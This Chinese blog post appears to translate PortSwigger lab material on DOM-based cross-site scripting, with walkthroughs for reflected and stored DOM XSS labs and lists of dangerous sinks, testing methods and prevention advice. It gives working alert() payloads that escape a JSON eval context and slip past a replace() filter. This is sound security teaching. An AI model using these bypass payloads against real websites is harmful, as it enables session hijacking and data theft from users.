一些纯基于 DOM 的漏洞自包含在单个页面中。如果脚本从 URL 读取一些数据并将其写入危险的接收器,则该漏洞完全是客户端的。

但是,来源不限于浏览器直接公开的数据——它们也可以来自网站。例如,网站通常会在来自服务器的 HTML 响应中反映 URL 参数。这通常与普通 XSS 相关,但也可能导致所谓的反射+DOM 漏洞。

在反射+DOM 漏洞中,服务器处理来自请求的数据,并将数据回显到响应中。反射的数据可能被放置在 JavaScript 字符串文字中,或 DOM 中的数据项中,例如表单字段。然后页面上的脚本以不安全的方式处理反射的数据,最终将其写入危险的接收器。

eval('var data = "reflected string"');

反射 DOM XSS

靶场地址:

cross-site-scripting/dom-based/lab-dom-xss-reflected

靶场说明:

本实验室演示了一个反射的 DOM 漏洞。当服务器端应用程序处理来自请求的数据并在响应中回显数据时,就会出现反射 DOM 漏洞。然后页面上的脚本以不安全的方式处理反射的数据,最终将其写入危险的接收器。

要解决此实验,请创建一个调用该alert()函数的注入。

解决方案:

在 Burp Suite 中,转到代理工具并确保已打开拦截功能。
回到实验室,转到目标网站并使用搜索栏搜索随机测试字符串,例如. “XSS”
返回 Burp Suite 中的 Proxy 工具并转发请求。
在 Intercept 选项卡上,请注意字符串反映在名为 的 JSON 响应中search-results。
在站点地图中,打开searchResults.js文件并注意 JSON 响应与eval()函数调用一起使用。
通过试验不同的搜索字符串,您可以确定 JSON 响应正在转义引号。但是,反斜杠没有被转义。
要解决此实验,请输入以下搜索词:

\"-alert(1)}//

由于您已经注入了反斜杠并且站点没有转义它们,因此当 JSON 响应尝试转义开始的双引号字符时,它会添加第二个反斜杠。由此产生的双反斜杠导致转义被有效地取消。这意味着双引号被处理为非转义,这将关闭应该包含搜索词的字符串。

然后在调用alert()函数之前使用算术运算符(在本例中为减法运算符)来分隔表达式。最后,一个右大括号和两个正斜杠提前关闭 JSON 对象,并注释掉对象的其余部分。结果,生成的响应如下:

{"searchTerm":"\"-alert(1)}//", "results":[]}
portswigger xss lab 跨站脚本漏洞利用靶场

网站也可能将数据存储在服务器上并将其反映在其他地方。在存储+DOM 漏洞中,服务器从一个请求接收数据,将其存储,然后将数据包含在稍后的响应中。稍后响应中的脚本包含一个接收器,该接收器然后以不安全的方式处理数据。

element.innerHTML = comment.author

存储型DOM XSS

靶场地址:

cross-site-scripting/dom-based/lab-dom-xss-stored

靶场说明:

本实验演示了博客评论功能中的存储 DOM 漏洞。为了解决这个实验,利用这个漏洞来调用alert()函数。

解决方案:

发表包含以下向量的评论

<><img src=1 onerror=alert(1)>
portswigger xss lab 跨站脚本漏洞利用靶场

为了防止XSS,该网站使用 JavaScriptreplace()函数对尖括号进行编码。但是,当第一个参数是字符串时,该函数只替换第一个出现的位置。我们通过简单地在注释开头包含一组额外的尖括号来利用此漏洞。这些尖括号将被编码,但任何后续的尖括号都不会受到影响,使我们能够有效地绕过过滤器并注入 HTML。

portswigger xss lab 跨站脚本漏洞利用靶场

点击返回博客,储存的xss将会触发:

portswigger xss lab 跨站脚本漏洞利用靶场

哪些 sinks 会导致 DOM-XSS 漏洞?

以下是一些可能导致 DOM-XSS 漏洞的主要接收器:

document.write()
document.writeln()
document.domain
element.innerHTML
element.outerHTML
element.insertAdjacentHTML
element.onevent

以下 jQuery 函数也是可能导致 DOM-XSS 漏洞的接收器:

add()
after()
append()
animate()
insertAfter()
insertBefore()
before()
html()
prepend()
replaceAll()
replaceWith()
wrap()
wrapInner()
wrapAll()
has()
constructor()
init()
index()
jQuery.parseHTML()
$.parseHTML()

如何防止 DOM-XSS 漏洞

除了基于 DOM 的漏洞页面上描述的一般措施外,您还应避免允许来自任何不受信任的来源的数据动态写入 HTML 文档。

阅读更多

基于 DOM 的跨站脚本

XSS 可以用来做什么?

利用跨站脚本漏洞的攻击者通常能够:

  • 冒充或伪装成受害者用户。
  • 执行用户能够执行的任何操作。
  • 读取用户能够访问的任何数据。
  • 捕获用户的登录凭据。
  • 对网站进行虚拟污损。
  • 将木马功能注入网站。

XSS 漏洞的影响

XSS 攻击的实际影响通常取决于应用程序的性质、其功能和数据以及受感染用户的状态。例如:

  • 在小型软件应用程序中,所有用户都是匿名的,所有信息都是公开的,因此影响通常很小。
  • 在包含敏感数据(例如银行交易、电子邮件或医疗记录)的应用程序中,影响通常会很严重。
  • 如果受感染的用户在应用程序中拥有提升的权限,那么影响通常会很严重,允许攻击者完全控制易受攻击的应用程序并破坏所有用户及其数据。

如何查找和测试XSS漏洞

使用 Burp Suite 的 Web 漏洞扫描程序可以快速可靠地发现绝大多数 XSS 漏洞。

手动测试反射和存储的 XSS 通常涉及向应用程序的每个入口点提交一些简单的唯一输入(例如短的字母数字字符串),识别在 HTTP 响应中返回所提交输入的每个位置,并单独测试每个位置以确定是否可以使用适当制作的输入来执行任意 JavaScript。通过这种方式,您可以确定XSS 发生 的上下文并选择合适的有效载荷来利用它。

手动测试由 URL 参数引起的基于 DOM 的 XSS 涉及类似的过程:在参数中放置一些简单的唯一输入,使用浏览器的开发人员工具在 DOM 中搜索该输入,并测试每个位置以确定它是否可利用。但是,其他类型的 DOM XSS 更难检测。要在非基于 URL 的输入(例如document.cookie)或非基于 HTML 的接收器(例如setTimeout)中查找基于 DOM 的漏洞,没有什么可以替代审查 JavaScript 代码,这可能非常耗时。Burp Suite 的 Web 漏洞扫描器结合了 JavaScript 的静态和动态分析,以可靠地自动检测基于 DOM 的漏洞。

内容安全政策

内容安全策略 (CSP) 是一种浏览器机制,旨在减轻跨站脚本和其他一些漏洞的影响。如果使用 CSP 的应用程序包含类似 XSS 的行为,则 CSP 可能会阻碍或阻止对漏洞的利用。通常,可以绕过 CSP 以利用底层漏洞。

阅读更多

内容安全政策

悬空标记注入

悬空标记注入是一种技术,可用于在由于输入过滤器或其他防御措施而无法进行完整的跨站脚本攻击的情况下跨域捕获数据。通常可以利用它来捕获其他用户可见的敏感信息,包括可用于代表用户执行未经授权的操作的 CSRF 令牌。

阅读更多

悬空标记注入

如何防止 XSS 攻击

在某些情况下,防止跨站脚本编写是微不足道的,但根据应用程序的复杂性及其处理用户可控数据的方式,可能会更加困难。

一般来说,有效防止 XSS 漏洞可能涉及以下措施的组合:

  • 到达时过滤输入。在接收到用户输入时,尽可能严格地根据预期或有效输入进行过滤。
  • 在输出上编码数据。在 HTTP 响应中输出用户可控数据时,对输出进行编码以防止其被解释为活动内容。根据输出上下文,这可能需要应用 HTML、URL、JavaScript 和 CSS 编码的组合。
  • 使用适当的响应标头。为了防止 HTTP 响应中不包含任何 HTML 或 JavaScript 的 XSS,您可以使用Content-TypeX-Content-Type-Options标头来确保浏览器以您想要的方式解释响应。
  • 内容安全政策。作为最后一道防线,您可以使用内容安全策略 (CSP) 来降低仍然发生的任何 XSS 漏洞的严重性。

阅读更多

如何预防 XSS使用 Burp Suite 的 Web 漏洞扫描程序查找 XSS 漏洞

有关跨站脚本的常见问题

XSS 漏洞有多常见?XSS 漏洞非常普遍,而 XSS 可能是最常出现的 Web 安全漏洞。

XSS 攻击有多常见?很难获得有关真实世界 XSS 攻击的可靠数据,但与其他漏洞相比,它可能被利用的频率较低。

XSS 和 CSRF 有什么区别?XSS 涉及导致网站返回恶意 JavaScript,而 CSRF 涉及诱使受害用户执行他们不打算执行的操作。

XSS 和 SQL 注入有什么区别?XSS 是针对其他应用程序用户的客户端漏洞,而 SQL 注入是针对应用程序数据库的服务器端漏洞。

如何在 PHP 中防止 XSS?使用允许的字符白名单过滤您的输入,并使用类型提示或类型转换。使用htmlentities和为 HTML 上下文转义输出ENT_QUOTES,或为 JavaScript 上下文转义 JavaScript Unicode。

如何在 Java 中防止 XSS?使用允许字符的白名单过滤您的输入,并使用诸如 Google Guava 之类的库对 HTML 上下文的输出进行 HTML 编码,或对 JavaScript 上下文使用 JavaScript Unicode 转义。

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用*标注